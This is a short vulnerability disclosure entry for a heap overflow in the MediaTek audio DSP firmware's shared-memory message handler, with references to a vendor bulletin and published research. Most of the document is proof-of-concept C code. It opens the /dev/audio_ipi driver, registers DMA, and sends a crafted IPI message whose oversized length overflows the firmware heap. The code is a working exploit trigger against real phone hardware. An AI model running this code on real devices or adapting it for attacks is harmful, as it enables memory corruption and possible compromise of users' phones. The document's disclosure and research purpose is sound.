Information

Classic heap overflow in the AUDIO_DSP_TASK_MSGA2DSHAREMEM message
handler of the MediaTek audio DSP firmware.

PoC:

#define MAX_IPI_MSG_PAYLOAD_SIZE   0xE0

#define AUDIO_IPI_SEND_DRAM    0x40046902
#define AUDIO_IPI_LOAD_SCENE   0x4004690A
#define AUDIO_IPI_INIT_DSP     0x40046914
#define AUDIO_IPI_REG_DMA      0x40046915

struct ipi_msg_t {
    uint16_t magic;
    uint8_t  task_scene;
    uint8_t  source;
    uint8_t  target;
    uint8_t  data_type;
    uint8_t  ack_type;  
    uint16_t msg_id;

    uint32_t param1;
    uint32_t param2;
    uint8_t payload[MAX_IPI_MSG_PAYLOAD_SIZE];
};

int open_drv(int32_t& drv) {
    drv = open("/dev/audio_ipi", O_RDONLY);
    if (drv < 0) {
        fprintf(stdout, "[-] Fail to open driver, %d\n", errno);
        return -1;
    }
    
    uint8_t audio_task_info[0xB8];
    int ret = ioctl(drv, AUDIO_IPI_INIT_DSP, audio_task_info);
    if (ret != 0) {
        fprintf(stdout, "[-] ioctl AUDIO_IPI_INIT_DSP fail! ret = %d\n", ret);
        return -1;
    }
    return 0;
}

int send_ipi_dma(
    int32_t drv, uint8_t task_scene, uint16_t msg_id,
    uint32_t param1, uint32_t param2, void* data_buffer) {

    int ret = ioctl(drv, AUDIO_IPI_LOAD_SCENE, task_scene);
    if (ret != 0) {
        fprintf(stdout, "[-] ioctl AUDIO_IPI_LOAD_SCENE fail! ret = %d\n", ret);
        return -1;
    }

    reg_dma_t dma_reg;
    dma_reg.task_scene = task_scene;
    dma_reg.flag = 1;
    dma_reg.a2d_size = 0x4000;
    dma_reg.d2a_size = 0x4000;
    dma_reg.magic_header = rand();
    dma_reg.magic_footer = 0xFFFFFFFF - dma_reg.magic_header;

    ret = ioctl(drv, AUDIO_IPI_REG_DMA, &dma_reg);
    if (ret != 0) {
        fprintf(stdout, "[-] ioctl AUDIO_IPI_REG_DMA fail! ret = %d\n", ret);
        return -1;
    }

    ipi_msg_t ipi_msg;
    ipi_msg.magic        = 0x8888;
    ipi_msg.task_scene   = task_scene;
    ipi_msg.source       = 0;   // from HAL
    ipi_msg.target       = 2;   // to DSP
    ipi_msg.data_type    = 2;   // use DMA
    ipi_msg.ack_type     = 0;   // no ack
    ipi_msg.msg_id       = msg_id;
    ipi_msg.param1       = param1;
    ipi_msg.param2       = param2;
    *(uint64_t*)ipi_msg.payload = (uint64_t)data_buffer;
    *(uint32_t*)(ipi_msg.payload + 0x10) = 0;
    *(uint32_t*)(ipi_msg.payload + 0x14) = param1;
    *(uint64_t*)(ipi_msg.payload + 0x18) = (uint64_t)data_buffer;

    ret = ioctl(drv, AUDIO_IPI_SEND_DRAM, &ipi_msg);
    if (ret != 0) {
        fprintf(stdout, "[-] ioctl AUDIO_IPI_SEND_DRAM fail! ret = %d\n", ret);
        return -1;
    }
    return 0;
}

#define TASK_SCENE_KTV                  0x10
#define AUDIO_DSP_TASK_MSGA2DSHAREMEM   6

int32_t drv = -1;
if (open_drv(drv) != 0)
    return 0;

void* payload = malloc(MAX_IPI_MSG_PAYLOAD_SIZE);
send_ipi_dma(drv, TASK_SCENE_KTV, AUDIO_DSP_TASK_MSGA2DSHAREMEM, 0x600, 0, payload);


References:
https://corp.mediatek.com/product-security-bulletin/October-2021
https://research.checkpoint.com/2021/looking-for-vulnerabilities-in-mediatek-audio-dsp